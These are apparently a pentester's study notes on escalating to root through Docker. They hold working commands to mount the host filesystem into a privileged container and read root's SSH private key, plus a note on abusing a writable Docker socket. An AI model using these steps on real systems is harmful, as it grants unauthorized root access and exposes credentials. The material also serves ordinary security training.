cat /hostsystem/root/.ssh/id_rsa - get the private key to ssh as root
Docker Group
user must be a part of the docker group - idOR
Docker may have SUID set
OR
we are in the Sudoers file, which permits us to run docker as root.
All three options allow us to work with Docker to escalate our privileges.
PWN Steps
docker images ls
ubuntu image present
docker run -d --name privesc --privileged -v /:/hostsystem:rw ubuntu sh -c "sleep infinity"
hash presented
docker ps
check if container created
docker exec -it privesc bash
in container
cd /hostsystem
Docker socket
usually located at /var/run/docker.sock and is writeable
this can only be written by the root or docker group.
If we act as a user, not in one of these two groups, and the Docker socket still has the privileges to be writable, then we can still use this case to privesc